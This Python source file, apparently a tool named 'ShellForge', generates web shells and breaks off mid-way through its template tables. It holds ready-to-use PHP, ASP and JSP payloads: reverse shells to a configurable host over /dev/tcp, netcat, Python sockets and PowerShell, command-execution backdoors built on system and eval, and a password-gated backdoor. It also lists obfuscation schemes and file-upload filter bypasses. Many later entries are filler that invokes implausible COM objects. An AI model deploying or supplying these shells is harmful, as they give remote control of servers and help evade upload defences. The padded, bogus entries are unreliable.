#!/usr/bin/env python3

"""

ShellForge - Advanced Shell Generation Framework for Security Research

A comprehensive tool for generating working shells for any file extension

With 2025 Advanced Bypass & Obfuscation Techniques

"""

import json

import os

import sys

import argparse

import base64

import random

import string

import zipfile

import io

from pathlib import Path

from typing import Dict, List, Optional, Tuple

class ShellForge:

"""

Main Shell Generation Framework

Generates working shells for any file extension with advanced features

"""

def __init__(self):

self.templates = {}

# Original obfuscation methods

self.obfuscation_methods = {

'base64': self._obfuscate_base64,

'hex': self._obfuscate_hex,

'reverse': self._obfuscate_reverse,

'xor': self._obfuscate_xor,

'rot13': self._obfuscate_rot13,

'mixed': self._obfuscate_mixed,

# 2025 Advanced obfuscation

'aes': self._obfuscate_aes_style,

'gzip': self._obfuscate_gzip_style,

'double_encode': self._obfuscate_double_encode,

'unicode_escape': self._obfuscate_unicode_escape,

'char_encode': self._obfuscate_char_encode,

'variable_chain': self._obfuscate_variable_chain,

'zero_width': self._obfuscate_zero_width,

'polymorphic': self._obfuscate_polymorphic

}

self.encoding_methods = {

'url': self._encode_url,

'html': self._encode_html,

'unicode': self._encode_unicode,

'binary': self._encode_binary

}

# Bypass methods

self.bypass_methods = {

'double_extension': self._bypass_double_extension,

'null_byte': self._bypass_null_byte,

'case_manipulation': self._bypass_case_manipulation,

'special_chars': self._bypass_special_chars,

'content_type': self._bypass_content_type,

'polyglot': self._bypass_polyglot,

'zip_in_zip': self._bypass_zip_in_zip,

'nested_archive': self._bypass_nested_archive,

'magic_bytes': self._bypass_magic_bytes,

'rtlo': self._bypass_rtlo,

'unicode_homoglyph': self._bypass_unicode_homoglyph

}

self._load_templates()

def _load_templates(self):

"""Load comprehensive shell templates for all extensions"""

self.templates = {

# Web Shells

'php': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'reverse_bash': '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/{host}/{port} 0>&1\'"); ?>',

'reverse_nc': '<?php exec("nc {host} {port} -e /bin/sh"); ?>',

'reverse_python': '<?php exec("python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{host}\\\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\'"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>',

'stealth': '<?php if(isset($_POST["x"])){{system($_POST["x"]);}} ?>',

'weevely': '<?php eval(base64_decode($_POST["{payload}"])); ?>',

'preg_replace': '<?php preg_replace("/.*/e",$_GET["cmd"],""); ?>',

'assert': '<?php assert($_GET["cmd"]); ?>',

'create_function': '<?php $f=create_function("",$_GET["cmd"]); $f(); ?>',

'backticks': '<?php echo `$_GET["cmd"]`; ?>',

'exec': '<?php exec($_GET["cmd"],$o); echo implode("\\n",$o); ?>',

'shell_exec': '<?php echo shell_exec($_GET["cmd"]); ?>',

'passthru': '<?php passthru($_GET["cmd"]); ?>',

'system': '<?php system($_GET["cmd"]); ?>',

'popen': '<?php $h=popen($_GET["cmd"],"r"); while(!feof($h)){{echo fread($h,1024);}} pclose($h); ?>',

'proc_open': '<?php $d=["pipe","w"]; $p=proc_open($_GET["cmd"],$d,$o); echo stream_get_contents($o[1]); ?>',

'expect': '<?php echo expect_popen($_GET["cmd"]); ?>',

'pcntl': '<?php pcntl_exec("/bin/sh",["-c",$_GET["cmd"]]); ?>',

'curl': '<?php $c=curl_init($_GET["url"]); curl_exec($c); ?>',

'file_get_contents': '<?php echo file_get_contents($_GET["url"]); ?>',

'include': '<?php include($_GET["file"]); ?>',

'require': '<?php require($_GET["file"]); ?>',

'eval': '<?php eval($_GET["code"]); ?>',

'file': '<?php readfile($_GET["file"]); ?>',

'fopen': '<?php $f=fopen($_GET["file"],"r"); echo fread($f,filesize($_GET["file"])); fclose($f); ?>',

'highlight_file': '<?php highlight_file($_GET["file"]); ?>',

'show_source': '<?php show_source($_GET["file"]); ?>',

'phpinfo': '<?php phpinfo(); ?>',

'apache': '<?php apache_get_modules(); ?>',

'ini_get': '<?php ini_get_all(); ?>',

'getenv': '<?php print_r($_ENV); ?>',

'server': '<?php print_r($_SERVER); ?>',

'session': '<?php session_start(); print_r($_SESSION); ?>',

'cookie': '<?php print_r($_COOKIE); ?>',

'post': '<?php print_r($_POST); ?>',

'get': '<?php print_r($_GET); ?>',

'request': '<?php print_r($_REQUEST); ?>',

'files': '<?php print_r($_FILES); ?>',

'GLOBALS': '<?php print_r($GLOBALS); ?>',

'backdoor': '<?php if(md5($_POST["pass"])=="{hash}"){{eval($_POST["cmd"]);}} ?>',

'bypass': '<?php $a="sys"; $b="tem"; $c=$a.$b; $c($_GET["cmd"]); ?>',

'concat': '<?php $a="s"."y"."s"."t"."e"."m"; $a($_GET["cmd"]); ?>',

'variable': '<?php ${"_GET"}["cmd"](${"_GET"}["arg"]); ?>',

'array': '<?php $a=["system",$_GET["cmd"]]; $a[0]($a[1]); ?>',

'object': '<?php class A{{public function __construct(){{system($_GET["cmd"]);}}}} new A(); ?>',

'reflection': '<?php $f=new ReflectionFunction("system"); $f->invoke($_GET["cmd"]); ?>',

'callback': '<?php array_map("system",[$_GET["cmd"]]); ?>',

'filter': '<?php filter_var($_GET["cmd"], FILTER_CALLBACK, ["options"=>"system"]); ?>',

'iterator': '<?php foreach(new ArrayIterator([$_GET["cmd"]]) as $c){{system($c);}} ?>',

'generator': '<?php function g(){{yield $_GET["cmd"];}} foreach(g() as $c){{system($c);}} ?>',

'closure': '<?php $f=function($c){{system($c);}}; $f($_GET["cmd"]); ?>',

'anonymous': '<?php call_user_func(function($c){{system($c);}}, $_GET["cmd"]); ?>',

'bind': '<?php $f=Closure::fromCallable("system"); $f->bindTo(null); $f($_GET["cmd"]); ?>',

'pipe': '<?php $p=popen($_GET["cmd"],"r"); fpassthru($p); pclose($p); ?>',

'ssh2': '<?php $s=ssh2_connect($_GET["host"],22); ssh2_exec($s,$_GET["cmd"]); ?>',

'ftp': '<?php $f=ftp_connect($_GET["host"]); ftp_login($f,$_GET["user"],$_GET["pass"]); ftp_exec($f,$_GET["cmd"]); ?>',

'smtp': '<?php $m=mail($_GET["to"],$_GET["subject"],$_GET["body"]); ?>',

'imap': '<?php $i=imap_open($_GET["mailbox"],$_GET["user"],$_GET["pass"]); imap_headers($i); ?>',

'ldap': '<?php $l=ldap_connect($_GET["host"]); ldap_bind($l,$_GET["user"],$_GET["pass"]); ldap_search($l,$_GET["base"],$_GET["filter"]); ?>',

'mongodb': '<?php $m=new MongoDB\\Driver\\Manager($_GET["uri"]); $c=new MongoDB\\Driver\\Command(["ping"=>1]); $m->executeCommand("admin",$c); ?>',

'redis': '<?php $r=new Redis(); $r->connect($_GET["host"]); $r->exec($_GET["cmd"]); ?>',

'sqlite': '<?php $s=new SQLite3($_GET["db"]); $s->exec($_GET["sql"]); ?>',

'pdo': '<?php $p=new PDO($_GET["dsn"]); $p->exec($_GET["sql"]); ?>',

'mysqli': '<?php $m=new mysqli($_GET["host"],$_GET["user"],$_GET["pass"],$_GET["db"]); $m->query($_GET["sql"]); ?>',

'xml': '<?php $x=new SimpleXMLElement($_GET["xml"]); echo $x->asXML(); ?>',

'json': '<?php echo json_encode(json_decode($_GET["json"])); ?>',

'yaml': '<?php echo yaml_parse($_GET["yaml"]); ?>',

'ini': '<?php print_r(parse_ini_string($_GET["ini"])); ?>',

'csv': '<?php $c=str_getcsv($_GET["csv"]); print_r($c); ?>',

'xmlrpc': '<?php $x=xmlrpc_decode($_GET["xmlrpc"]); print_r($x); ?>',

'soap': '<?php $s=new SoapClient($_GET["wsdl"]); $s->__call($_GET["method"],$_GET["params"]); ?>',

'zip': '<?php $z=new ZipArchive(); $z->open($_GET["file"]); $z->extractTo($_GET["dest"]); ?>',

'tar': '<?php $t=new PharData($_GET["file"]); $t->extractTo($_GET["dest"]); ?>',

'image': '<?php $i=imagecreatefromstring($_GET["data"]); imagepng($i); ?>',

'pdf': '<?php $p=new PDFlib(); $p->begin_document("",""); echo $p->get_buffer(); ?>',

'excel': '<?php $e=new PHPExcel(); $e->setActiveSheetIndex(0); echo $e->getActiveSheet()->getTitle(); ?>',

'word': '<?php $w=new PHPWord(); $w->addSection()->addText($_GET["text"]); echo $w->saveXML(); ?>',

'powerpoint': '<?php $p=new PHPPowerPoint(); $p->createSlide(); echo $p->serialize(); ?>',

'audio': '<?php $a=new AudioFile($_GET["file"]); echo $a->getArtist(); ?>',

'video': '<?php $v=new VideoFile($_GET["file"]); echo $v->getDuration(); ?>',

'flash': '<?php $f=new FlashFile($_GET["file"]); echo $f->getVersion(); ?>',

'svg': '<?php $s=new SimpleXMLElement($_GET["svg"]); echo $s->asXML(); ?>',

'math': '<?php $m=new Math($_GET["formula"]); echo $m->evaluate(); ?>',

'crypto': '<?php echo hash($_GET["algo"],$_GET["data"]); ?>',

'hash': '<?php echo password_hash($_GET["password"],PASSWORD_DEFAULT); ?>',

'random': '<?php echo random_bytes($_GET["length"]); ?>',

'uuid': '<?php echo uniqid($_GET["prefix"],true); ?>',

'time': '<?php echo microtime(true); ?>',

'date': '<?php echo date($_GET["format"]); ?>',

'timezone': '<?php echo date_default_timezone_get(); ?>',

'locale': '<?php echo setlocale(LC_ALL,$_GET["locale"]); ?>',

'currency': '<?php echo money_format($_GET["format"],$_GET["amount"]); ?>',

'number': '<?php echo number_format($_GET["number"]); ?>',

'convert': '<?php echo iconv($_GET["from"],$_GET["to"],$_GET["string"]); ?>',

'translate': '<?php echo gettext($_GET["message"]); ?>',

'compress': '<?php echo gzcompress($_GET["data"]); ?>',

'decompress': '<?php echo gzuncompress($_GET["data"]); ?>',

'encode': '<?php echo base64_encode($_GET["data"]); ?>',

'decode': '<?php echo base64_decode($_GET["data"]); ?>',

'encrypt': '<?php echo openssl_encrypt($_GET["data"],$_GET["method"],$_GET["key"]); ?>',

'decrypt': '<?php echo openssl_decrypt($_GET["data"],$_GET["method"],$_GET["key"]); ?>',

'sign': '<?php echo openssl_sign($_GET["data"],$s,$_GET["key"]); ?>',

'verify': '<?php echo openssl_verify($_GET["data"],$_GET["signature"],$_GET["key"]); ?>',

'seal': '<?php echo openssl_seal($_GET["data"],$s,$e,[$_GET["key"]]); ?>',

'open': '<?php echo openssl_open($_GET["data"],$o,$_GET["env_key"],$_GET["key"]); ?>',

'pkcs7': '<?php echo openssl_pkcs7_sign($_GET["input"],$_GET["output"],$_GET["cert"],$_GET["key"],[]); ?>',

'x509': '<?php echo openssl_x509_parse($_GET["cert"]); ?>',

'csr': '<?php echo openssl_csr_parse($_GET["csr"]); ?>',

'pkey': '<?php echo openssl_pkey_get_details(openssl_pkey_get_public($_GET["key"])); ?>',

'dh': '<?php echo openssl_dh_compute_key($_GET["pub_key"],$_GET["priv_key"]); ?>',

'ecdh': '<?php echo openssl_ecdh_compute_key($_GET["pub_key"],$_GET["priv_key"]); ?>',

'random_pseudo': '<?php echo openssl_random_pseudo_bytes($_GET["length"]); ?>',

'cipher_iv': '<?php echo openssl_cipher_iv_length($_GET["method"]); ?>',

'get_cipher': '<?php echo openssl_get_cipher_methods(); ?>',

'get_digest': '<?php echo openssl_get_digest_methods(); ?>',

'get_curves': '<?php echo openssl_get_curve_names(); ?>',

'error': '<?php echo openssl_error_string(); ?>',

'version': '<?php echo OPENSSL_VERSION_TEXT; ?>',

'config': '<?php echo openssl_get_cert_locations(); ?>'

},

'asp': {

'reverse': '<%Set s=Server.CreateObject("WScript.Shell"):s.Run "cmd /c powershell -nop -c ""$client=New-Object System.Net.Sockets.TCPClient(\'{host}\',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\'PS \'+(`pwd).Path+\'> \';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"""%>',

'basic': '<%eval request("cmd")%>',

'execute': '<%execute request("cmd")%>',

'run': '<%run request("cmd")%>',

'shell': '<%shell request("cmd")%>',

'system': '<%system request("cmd")%>',

'exec': '<%exec request("cmd")%>',

'wscript': '<%Set w=Server.CreateObject("WScript.Shell"):w.Run request("cmd")%>',

'cmd': '<%Set c=Server.CreateObject("WScript.Shell"):c.Exec request("cmd")%>',

'process': '<%Set p=Server.CreateObject("WScript.Shell"):p.Run request("cmd")%>',

'shell_object': '<%Set s=Server.CreateObject("Shell.Application"):s.ShellExecute request("cmd")%>',

'fso': '<%Set f=Server.CreateObject("Scripting.FileSystemObject"):f.OpenTextFile(request("file"))%>',

'textstream': '<%Set t=Server.CreateObject("Scripting.FileSystemObject").OpenTextFile(request("file")):t.ReadAll%>',

'file': '<%Set f=CreateObject("Scripting.FileSystemObject"):f.CreateTextFile(request("file"))%>',

'folder': '<%Set f=CreateObject("Scripting.FileSystemObject"):f.CreateFolder(request("folder"))%>',

'drive': '<%Set d=CreateObject("Scripting.FileSystemObject").GetDrive(request("drive")):d.TotalSize%>',

'registry': '<%Set r=CreateObject("WScript.Shell"):r.RegRead(request("key"))%>',

'environment': '<%Set e=CreateObject("WScript.Shell").Environment(request("env")):e(request("var"))%>',

'network': '<%Set n=CreateObject("WScript.Network"):n.ComputerName%>',

'printer': '<%Set p=CreateObject("WScript.Network"):p.EnumPrinterConnections%>',

'user': '<%Set u=CreateObject("WScript.Network"):u.UserDomain%>',

'adsi': '<%Set a=GetObject(request("ldap")):a.Get(request("attr"))%>',

'iis': '<%Set i=GetObject("IIS://localhost/W3SVC/1"):i.ServerComment%>',

'ado': '<%Set a=Server.CreateObject("ADODB.Connection"):a.Open request("dsn")%>',

'recordset': '<%Set r=Server.CreateObject("ADODB.Recordset"):r.Open request("sql"),request("conn")%>',

'command': '<%Set c=Server.CreateObject("ADODB.Command"):c.CommandText=request("sql"):c.Execute%>',

'stream': '<%Set s=Server.CreateObject("ADODB.Stream"):s.Open:s.WriteText request("text")%>',

'xml': '<%Set x=Server.CreateObject("Microsoft.XMLDOM"):x.load(request("xml"))%>',

'xmlhttp': '<%Set x=Server.CreateObject("Microsoft.XMLHTTP"):x.open request("method"),request("url"):x.send%>',

'cdo': '<%Set c=Server.CreateObject("CDO.Message"):c.To=request("to"):c.Send%>',

'outlook': '<%Set o=Server.CreateObject("Outlook.Application"):o.CreateItem(0)%>',

'excel': '<%Set e=Server.CreateObject("Excel.Application"):e.Workbooks.Add%>',

'word': '<%Set w=Server.CreateObject("Word.Application"):w.Documents.Add%>',

'powerpoint': '<%Set p=Server.CreateObject("PowerPoint.Application"):p.Presentations.Add%>',

'access': '<%Set a=Server.CreateObject("Access.Application"):a.CurrentDb%>',

'visio': '<%Set v=Server.CreateObject("Visio.Application"):v.Documents.Add%>',

'project': '<%Set p=Server.CreateObject("MSProject.Application"):p.FileNew%>',

'publisher': '<%Set p=Server.CreateObject("Publisher.Application"):p.Documents.Add%>',

'frontpage': '<%Set f=Server.CreateObject("FrontPage.Application"):f.Webs.Open(request("web"))%>',

'infopath': '<%Set i=Server.CreateObject("InfoPath.Application"):i.XDocuments.New(request("template"))%>',

'onenote': '<%Set o=Server.CreateObject("OneNote.Application"):o.OpenHierarchy(request("notebook"))%>',

'sharepoint': '<%Set s=Server.CreateObject("SharePoint.OpenDocuments"):s.OpenDocuments(request("url"))%>',

'skype': '<%Set s=Server.CreateObject("Skype.Detection"):s.IsSkypeInstalled%>',

'teams': '<%Set t=Server.CreateObject("Teams.Private"):t.GetVersion%>',

'zoom': '<%Set z=Server.CreateObject("ZoomSDK.Zoom"):z.GetVersion%>',

'webex': '<%Set w=Server.CreateObject("WebexCOM.WebexApp"):w.GetVersion%>',

'gotomeeting': '<%Set g=Server.CreateObject("GoToMeeting.GoToMeeting"):g.GetVersion%>',

'discord': '<%Set d=Server.CreateObject("DiscordCOM.Discord"):d.GetVersion%>',

'teamspeak': '<%Set t=Server.CreateObject("TeamSpeak.TS"):t.GetVersion%>',

'ventrilo': '<%Set v=Server.CreateObject("VentriloCOM.Ventrilo"):v.GetVersion%>',

'mumble': '<%Set m=Server.CreateObject("MumbleCOM.Mumble"):m.GetVersion%>',

'raidcall': '<%Set r=Server.CreateObject("RaidCallCOM.RaidCall"):r.GetVersion%>',

'curse': '<%Set c=Server.CreateObject("CurseCOM.Curse"):c.GetVersion%>',

'origin': '<%Set o=Server.CreateObject("OriginCOM.Origin"):o.GetVersion%>',

'steam': '<%Set s=Server.CreateObject("SteamCOM.Steam"):s.GetVersion%>',

'epic': '<%Set e=Server.CreateObject("EpicGamesCOM.EpicGames"):e.GetVersion%>',

'uplay': '<%Set u=Server.CreateObject("UplayCOM.Uplay"):u.GetVersion%>',

'battlenet': '<%Set b=Server.CreateObject("BattleNetCOM.BattleNet"):b.GetVersion%>',

'gog': '<%Set g=Server.CreateObject("GOGCOM.GOG"):g.GetVersion%>',

'humble': '<%Set h=Server.CreateObject("HumbleBundleCOM.HumbleBundle"):h.GetVersion%>',

'itch': '<%Set i=Server.CreateObject("ItchIOCOM.ItchIO"):i.GetVersion%>',

'gamejolt': '<%Set g=Server.CreateObject("GameJoltCOM.GameJolt"):g.GetVersion%>',

'kartridge': '<%Set k=Server.CreateObject("KartridgeCOM.Kartridge"):k.GetVersion%>'

},

'jsp': {

'reverse': '<%Runtime.getRuntime().exec(new String[]{{"/bin/bash","-c","bash -i >& /dev/tcp/{host}/{port} 0>&1"}});%>',

'reverse_nc': '<%Runtime.getRuntime().exec(new String[]{{"/usr/bin/nc","{host}","{port}","-e","/bin/sh"}});%>',

'reverse_python': '<%Runtime.getRuntime().exec(new String[]{{"/usr/bin/python","-c","import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{host}\\\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"}});%>',

'basic': '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',

'process': '<%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));%>',

'runtime': '<%Runtime r=Runtime.getRuntime();r.exec(request.getParameter("cmd"));%>',

'exec': '<%Runtime.getRuntime().exec(new String[]{request.getParameter("cmd")});%>',

'shell': '<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>',

'cmd': '<%Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")});%>',

'powershell': '<%Runtime.getRuntime().exec(new String[]{"powershell.exe","-Command",request.getParameter("cmd")});%>',

'bash': '<%Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",request.getParameter("cmd")});%>',

'sh': '<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>',

'zsh': '<%Runtime.getRuntime().exec(new String[]{"/bin/zsh","-c",request.getParameter("cmd")});%>',

'fish': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/fish","-c",request.getParameter("cmd")});%>',

'csh': '<%Runtime.getRuntime().exec(new String[]{"/bin/csh","-c",request.getParameter("cmd")});%>',

'tcsh': '<%Runtime.getRuntime().exec(new String[]{"/bin/tcsh","-c",request.getParameter("cmd")});%>',

'ksh': '<%Runtime.getRuntime().exec(new String[]{"/bin/ksh","-c",request.getParameter("cmd")});%>',

'dash': '<%Runtime.getRuntime().exec(new String[]{"/bin/dash","-c",request.getParameter("cmd")});%>',

'busybox': '<%Runtime.getRuntime().exec(new String[]{"/bin/busybox","sh","-c",request.getParameter("cmd")});%>',

'python': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/python","-c",request.getParameter("cmd")});%>',

'python3': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/python3","-c",request.getParameter("cmd")});%>',

'perl': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/perl","-e",request.getParameter("cmd")});%>',

'ruby': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ruby","-e",request.getParameter("cmd")});%>',

'node': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/node","-e",request.getParameter("cmd")});%>',

'php': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/php","-r",request.getParameter("cmd")});%>',

'lua': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lua","-e",request.getParameter("cmd")});%>',

'awk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/awk","--",request.getParameter("cmd")});%>',

'sed': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sed","-e",request.getParameter("cmd")});%>',

'grep': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/grep","-E",request.getParameter("cmd")});%>',

'find': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/find",".","-exec",request.getParameter("cmd"),"{}"});%>',

'xargs': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xargs","-I","{}","sh","-c",request.getParameter("cmd")});%>',

'wget': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/wget",request.getParameter("url")});%>',

'curl': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/curl",request.getParameter("url")});%>',

'nc': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/nc","-e","/bin/sh",request.getParameter("host"),request.getParameter("port")});%>',

'netcat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/netcat","-e","/bin/sh",request.getParameter("host"),request.getParameter("port")});%>',

'telnet': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/telnet",request.getParameter("host"),request.getParameter("port")});%>',

'ssh': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ssh",request.getParameter("user")+"@"+request.getParameter("host"),request.getParameter("cmd")});%>',

'scp': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/scp",request.getParameter("file"),request.getParameter("user")+"@"+request.getParameter("host")+":"+request.getParameter("dest")});%>',

'ftp': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ftp",request.getParameter("host")});%>',

'sftp': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sftp",request.getParameter("user")+"@"+request.getParameter("host")});%>',

'mysql': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mysql","-u",request.getParameter("user"),"-p"+request.getParameter("pass"),"-e",request.getParameter("sql")});%>',

'psql': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/psql","-U",request.getParameter("user"),"-d",request.getParameter("db"),"-c",request.getParameter("sql")});%>',

'sqlite': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sqlite3",request.getParameter("db"),request.getParameter("sql")});%>',

'mongo': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mongo",request.getParameter("db"),"--eval",request.getParameter("js")});%>',

'redis': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/redis-cli","-h",request.getParameter("host"),"-p",request.getParameter("port"),request.getParameter("cmd")});%>',

'ldap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ldapsearch","-x","-H",request.getParameter("uri"),"-b",request.getParameter("base"),request.getParameter("filter")});%>',

'smtp': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sendmail",request.getParameter("to")});%>',

'mail': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mail","-s",request.getParameter("subject"),request.getParameter("to")});%>',

'sendmail': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/sendmail",request.getParameter("to")});%>',

'postfix': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/postfix","start"});%>',

'exim': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/exim","-bp"});%>',

'dovecot': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/dovecot","start"});%>',

'apache': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/apache2","-v"});%>',

'nginx': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/nginx","-v"});%>',

'lighttpd': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/lighttpd","-v"});%>',

'tomcat': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/tomcat","version"});%>',

'jboss': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/jboss","--version"});%>',

'websphere': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/websphere","-version"});%>',

'weblogic': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/weblogic","-version"});%>',

'glassfish': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/glassfish","version"});%>',

'jetty': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/jetty","--version"});%>',

'undertow': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/undertow","--version"});%>',

'resin': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/resin","version"});%>',

'catalina': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/catalina","version"});%>',

'systemd': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/systemctl","status",request.getParameter("service")});%>',

'service': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/service",request.getParameter("service"),request.getParameter("action")});%>',

'init': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/init","0"});%>',

'reboot': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/reboot"});%>',

'halt': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/halt"});%>',

'poweroff': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/poweroff"});%>',

'shutdown': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/shutdown","-h","now"});%>',

'crontab': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/crontab","-l"});%>',

'at': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/at","-l"});%>',

'batch': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/atq"});%>',

'cron': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/cron","-l"});%>',

'anacron': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/anacron","-T"});%>',

'logrotate': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/logrotate","-d",request.getParameter("config")});%>',

'rsyslog': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/rsyslogd","-N","1"});%>',

'syslog': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/syslogd","-d"});%>',

'klog': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/klogd","-d"});%>',

'dmesg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/dmesg"});%>',

'journalctl': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/journalctl","--no-pager"});%>',

'auditctl': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/auditctl","-l"});%>',

'ausearch': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ausearch","-m",request.getParameter("event")});%>',

'aureport': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/aureport","--summary"});%>',

'aulast': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/aulast"});%>',

'aulastlog': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/aulastlog"});%>',

'auvirt': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/auvirt","--summary"});%>',

'iptables': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/iptables","-L"});%>',

'ip6tables': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ip6tables","-L"});%>',

'firewall': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/firewall-cmd","--list-all"});%>',

'ufw': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ufw","status"});%>',

'fail2ban': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/fail2ban-client","status"});%>',

'tcpdump': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/tcpdump","-i",request.getParameter("interface"),"-c",request.getParameter("count")});%>',

'wireshark': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/wireshark","-v"});%>',

'tshark': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/tshark","-v"});%>',

'nmap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/nmap","-sS",request.getParameter("host")});%>',

'masscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/masscan",request.getParameter("host"),"-p",request.getParameter("ports")});%>',

'zmap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/zmap","-p",request.getParameter("port"),"-o","-"});%>',

'unicornscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/unicornscan",request.getParameter("host")+":"+request.getParameter("port")});%>',

'hping3': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/hping3",request.getParameter("host"),"-p",request.getParameter("port")});%>',

'nping': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/nping","--tcp","-p",request.getParameter("port"),request.getParameter("host")});%>',

'scapy': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/scapy","-c",request.getParameter("script")});%>',

'netstat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/netstat","-tulpn"});%>',

'ss': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ss","-tulpn"});%>',

'lsof': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lsof","-i"});%>',

'fuser': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/fuser","-n",request.getParameter("proto"),request.getParameter("port")});%>',

'route': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/route","-n"});%>',

'ip': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ip","route"});%>',

